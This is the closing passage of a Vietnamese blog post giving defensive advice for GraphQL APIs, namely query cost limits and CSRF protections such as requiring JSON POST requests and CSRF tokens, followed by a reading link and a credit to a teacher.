• Áp dụng cost analysis: tính toán “chi phí” của query, nếu quá nặng thì reject ngay

Những biện pháp này giúp giảm khả năng brute force và abuse tài nguyên server.

Ngăn chặn CSRF với GraphQL

GraphQL cũng có thể dính CSRF nếu cấu hình không đúng.

Để phòng tránh:

• Chỉ accept request dạng POST + application/json
• Validate đúng Content-Type
• Sử dụng CSRF token cho các hành động quan trọng

Điều này giúp đảm bảo request thực sự đến từ client hợp lệ, không phải bị giả mạo từ bên thứ ba.

Cảm ơn các bạn đã dành thời gian đọc bài viết mình!!!

Bạn có thể tham khảo thêm về blog về lỗ hổng này mình thấy họ viết khá là hay ở đây

https://deepstrike.io/blog/graphql-api-vulnerabilities-and-common-attacks

Document từ thầy Nguyễn Thành Tâm - team mình ❤️